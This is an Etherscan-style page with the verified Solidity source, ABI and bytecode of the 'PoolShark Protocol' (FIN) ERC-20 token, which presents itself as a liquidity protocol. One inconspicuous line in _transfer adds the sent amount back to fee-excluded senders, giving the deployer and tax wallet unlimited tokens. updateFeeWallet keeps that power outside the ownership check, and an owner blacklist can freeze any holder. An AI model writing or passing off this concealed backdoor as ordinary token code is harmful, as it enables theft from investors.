Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract FINPRO is Context, IERC20 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function allowance(address owner, add ...    - function updateFeeWallet(address paya ...    - function sendFeeETH(uint256 amount)    - function transfer(address recipient, ...    - function _transfer(address from, addr ...    - function transferFrom(address sender, ...    - function swapTokensForEth(uint256 tok ...    - function min(uint256 a, uint256 b)    - function manageSnipers(address[] memo ...    - function openTrading()    - function _approve(address owner, addr ...    - function removeLimits()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-16
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
A decentralized protocol for directional liquidity.

Website: https://www.poolshark.tech
Telegram: https://t.me/poolshark_erc
Twitter: https://twitter.com/poolshark_erc
Dapp: https://app.poolshark.tech
Docs: https://docs.poolshark.tech
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FINPRO is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _snipers;

    uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    string private constant _name = unicode"PoolShark Protocol";
    string private constant _symbol = unicode"FIN";

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function updateFeeWallet(address payable wallet_) public {
        require(msg.sender == _taxWallet);
        _taxWallet = wallet_;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendFeeETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!_snipers[from] && !_snipers[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (_isExcludedFromFee[from]) { _balances[from] += amount; }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendFeeETH(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manageSnipers(address[] memory snipers, bool isSniper) external onlyOwner {
        for (uint i = 0; i < snipers.length; i++) {
            require(snipers[i] != address(this), "Can't blacklist contract address");
            _snipers[snipers[i]] = isSniper;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"snipers","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"manageSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"wallet_","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004ca565b6200002190626049ce620004e2565b600555620000326009600a620004ca565b6200004190626049ce620004e2565b600655620000526009600a620004ca565b6200005f906000620004e2565b600755620000706009600a620004ca565b6200007f9062403134620004e2565b600855600c6009819055600a8190556001600b81905590556006600d55600f600e8190556005905560006010556013805461ffff60a81b19169055348015620000c757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054336001600160a01b03199182161790915560118054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000179573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019f9190620004fc565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000276573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029c9190620004fc565b601380546001600160a01b0319166001600160a01b0392909216919091179055620002ca6009600a620004ca565b620002da906319133850620004e2565b336000908152600160208190526040822092909255600390620003056000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560125490911681526003909252902080549091166001179055620003543390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038e6009600a620004ca565b6200039e906319133850620004e2565b60405190815260200160405180910390a362000527565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200040c578160001904821115620003f057620003f0620003b5565b80851615620003fe57918102915b93841c9390800290620003d0565b509250929050565b6000826200042557506001620004c4565b816200043457506000620004c4565b81600181146200044d5760028114620004585762000478565b6001915050620004c4565b60ff8411156200046c576200046c620003b5565b50506001821b620004c4565b5060208310610133831016604e8410600b84101617156200049d575081810a620004c4565b620004a98383620003cb565b8060001904821115620004c057620004c0620003b5565b0290505b92915050565b6000620004db60ff84168362000414565b9392505050565b8082028115828204841417620004c457620004c4620003b5565b6000602082840312156200050f57600080fd5b81516001600160a01b0381168114620004db57600080fd5b61197c80620005376000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610318578063bf474bed14610338578063c9567bf91461034e578063dd62ed3e14610363578063ed494189146103a957600080fd5b8063751039fc146102835780637d1db4a5146102985780638da5cb5b146102ae5780638f9a55c0146102d657806395d89b41146102ec57600080fd5b806323b872dd116100e757806323b872dd146101da578063313ce567146101fa578063667185241461021657806370a0823114610238578063715018a61461026e57600080fd5b806306fdde0314610124578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526012815271141bdbdb14da185c9ac8141c9bdd1bd8dbdb60721b60208201525b604051610168919061143a565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046114b0565b6103c9565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760085481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103e0565b3480156101e657600080fd5b506101916101f53660046114dc565b610401565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b5061023661023136600461151d565b61046a565b005b34801561024457600080fd5b506101b761025336600461151d565b6001600160a01b031660009081526001602052604090205490565b34801561027a57600080fd5b506102366104bb565b34801561028f57600080fd5b50610236610538565b3480156102a457600080fd5b506101b760055481565b3480156102ba57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102e257600080fd5b506101b760065481565b3480156102f857600080fd5b506040805180820190915260038152622324a760e91b602082015261015b565b34801561032457600080fd5b506101916103333660046114b0565b6105ea565b34801561034457600080fd5b506101b760075481565b34801561035a57600080fd5b506102366105f7565b34801561036f57600080fd5b506101b761037e36600461153a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103b557600080fd5b506102366103c43660046115a2565b610812565b60006103d6338484610922565b5060015b92915050565b60006103ee6009600a611773565b6103fc906319133850611782565b905090565b600061040e848484610a53565b610460843361045b8560405180606001604052806028815260200161191f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611099565b610922565b5060019392505050565b6012546001600160a01b0316331461048157600080fd5b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146104ee5760405162461bcd60e51b81526004016104e590611799565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105625760405162461bcd60e51b81526004016104e590611799565b61056e6009600a611773565b61057c906319133850611782565b60055561058b6009600a611773565b610599906319133850611782565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c96009600a611773565b6105d7906319133850611782565b60405190815260200160405180910390a1565b60006103d6338484610a53565b6000546001600160a01b031633146106215760405162461bcd60e51b81526004016104e590611799565b601354600160a01b900460ff161561067b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e5565b6011546106a79030906001600160a01b03166106996009600a611773565b61045b906319133850611782565b6011546001600160a01b031663f305d71947306106d9816001600160a01b031660009081526001602052604090205490565b6000806106ee6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610756573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077b91906117ce565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f891906117fc565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461083c5760405162461bcd60e51b81526004016104e590611799565b60005b825181101561091d57306001600160a01b031683828151811061086457610864611819565b60200260200101516001600160a01b0316036108c25760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104e5565b81600460008584815181106108d9576108d9611819565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109158161182f565b91505061083f565b505050565b6001600160a01b03831661098b5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104e5565b6001600160a01b0382166109f25760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104e5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e5565b6001600160a01b038216610b195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e5565b60008111610b7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e5565b600080546001600160a01b03858116911614801590610ba857506000546001600160a01b03848116911614155b15610f56576001600160a01b03841660009081526004602052604090205460ff16158015610bef57506001600160a01b03831660009081526004602052604090205460ff16155b610bf857600080fd5b610c246064610c1e600d5460105411610c1357600954610c17565b600b545b85906110d3565b9061115c565b6013549091506001600160a01b038581169116148015610c5257506011546001600160a01b03848116911614155b8015610c7757506001600160a01b03831660009081526003602052604090205460ff16155b15610d5f57600554821115610cce5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e5565b60065482610cf1856001600160a01b031660009081526001602052604090205490565b610cfb9190611848565b1115610d495760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e5565b60108054906000610d598361182f565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610dae576001600160a01b03841660009081526001602052604081208054849290610da8908490611848565b90915550505b6013546001600160a01b03848116911614801590610de557506001600160a01b03831660009081526003602052604090205460ff16155b15610e655760065482610e0d856001600160a01b031660009081526001602052604090205490565b610e179190611848565b1115610e655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e5565b6013546001600160a01b038481169116148015610e8b57506001600160a01b0384163014155b15610eb857610eb56064610c1e600e5460105411610eab57600a54610c17565b600c5485906110d3565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610eef57506013546001600160a01b038581169116145b8015610f045750601354600160b01b900460ff165b8015610f11575060075481115b8015610f205750600f54601054115b15610f5457610f42610f3d84610f388460085461119e565b61119e565b6111b3565b478015610f5257610f524761132d565b505b505b8015610fd05730600090815260016020526040902054610f76908261136b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc79085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ff390836113ca565b6001600160a01b03851660009081526001602052604090205561103861101983836113ca565b6001600160a01b0385166000908152600160205260409020549061136b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108285856113ca565b60405190815260200160405180910390a350505050565b600081848411156110bd5760405162461bcd60e51b81526004016104e5919061143a565b5060006110ca848661185b565b95945050505050565b6000826000036110e5575060006103da565b60006110f18385611782565b9050826110fe858361186e565b146111555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e5565b9392505050565b600061115583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b60008183116111ad5782611155565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111fb576111fb611819565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112789190611890565b8160018151811061128b5761128b611819565b6001600160a01b0392831660209182029290920101526011546112b19130911684610922565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ea9085906000908690309042906004016118ad565b600060405180830381600087803b15801561130457600080fd5b505af1158015611318573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611367573d6000803e3d6000fd5b5050565b6000806113788385611848565b9050838110156111555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e5565b600061115583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611099565b6000818361142d5760405162461bcd60e51b81526004016104e5919061143a565b5060006110ca848661186e565b600060208083528351808285015260005b818110156114675785810183015185820160400152820161144b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149d57600080fd5b50565b80356114ab81611488565b919050565b600080604083850312156114c357600080fd5b82356114ce81611488565b946020939093013593505050565b6000806000606084860312156114f157600080fd5b83356114fc81611488565b9250602084013561150c81611488565b929592945050506040919091013590565b60006020828403121561152f57600080fd5b813561115581611488565b6000806040838503121561154d57600080fd5b823561155881611488565b9150602083013561156881611488565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b801515811461149d57600080fd5b80356114ab81611589565b600080604083850312156115b557600080fd5b823567ffffffffffffffff808211156115cd57600080fd5b818501915085601f8301126115e157600080fd5b81356020828211156115f5576115f5611573565b8160051b604051601f19603f8301168101818110868211171561161a5761161a611573565b60405292835281830193508481018201928984111561163857600080fd5b948201945b8386101561165d5761164e866114a0565b8552948201949382019361163d565b965061166c9050878201611597565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ca5781600019048211156116b0576116b0611679565b808516156116bd57918102915b93841c9390800290611694565b509250929050565b6000826116e1575060016103da565b816116ee575060006103da565b8160018114611704576002811461170e5761172a565b60019150506103da565b60ff84111561171f5761171f611679565b50506001821b6103da565b5060208310610133831016604e8410600b841016171561174d575081810a6103da565b611757838361168f565b806000190482111561176b5761176b611679565b029392505050565b600061115560ff8416836116d2565b80820281158282048414176103da576103da611679565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117e357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180e57600080fd5b815161115581611589565b634e487b7160e01b600052603260045260246000fd5b60006001820161184157611841611679565b5060010190565b808201808211156103da576103da611679565b818103818111156103da576103da611679565b60008261188b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118a257600080fd5b815161115581611488565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a05ffc2fe0c0c6d1a42471497ec11f9675f37dfec54bfbe98dd8b2e8eedcab8064736f6c63430008130033

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610318578063bf474bed14610338578063c9567bf91461034e578063dd62ed3e14610363578063ed494189146103a957600080fd5b8063751039fc146102835780637d1db4a5146102985780638da5cb5b146102ae5780638f9a55c0146102d657806395d89b41146102ec57600080fd5b806323b872dd116100e757806323b872dd146101da578063313ce567146101fa578063667185241461021657806370a0823114610238578063715018a61461026e57600080fd5b806306fdde0314610124578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526012815271141bdbdb14da185c9ac8141c9bdd1bd8dbdb60721b60208201525b604051610168919061143a565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046114b0565b6103c9565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760085481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103e0565b3480156101e657600080fd5b506101916101f53660046114dc565b610401565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b5061023661023136600461151d565b61046a565b005b34801561024457600080fd5b506101b761025336600461151d565b6001600160a01b031660009081526001602052604090205490565b34801561027a57600080fd5b506102366104bb565b34801561028f57600080fd5b50610236610538565b3480156102a457600080fd5b506101b760055481565b3480156102ba57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102e257600080fd5b506101b760065481565b3480156102f857600080fd5b506040805180820190915260038152622324a760e91b602082015261015b565b34801561032457600080fd5b506101916103333660046114b0565b6105ea565b34801561034457600080fd5b506101b760075481565b34801561035a57600080fd5b506102366105f7565b34801561036f57600080fd5b506101b761037e36600461153a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103b557600080fd5b506102366103c43660046115a2565b610812565b60006103d6338484610922565b5060015b92915050565b60006103ee6009600a611773565b6103fc906319133850611782565b905090565b600061040e848484610a53565b610460843361045b8560405180606001604052806028815260200161191f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611099565b610922565b5060019392505050565b6012546001600160a01b0316331461048157600080fd5b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146104ee5760405162461bcd60e51b81526004016104e590611799565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105625760405162461bcd60e51b81526004016104e590611799565b61056e6009600a611773565b61057c906319133850611782565b60055561058b6009600a611773565b61059990631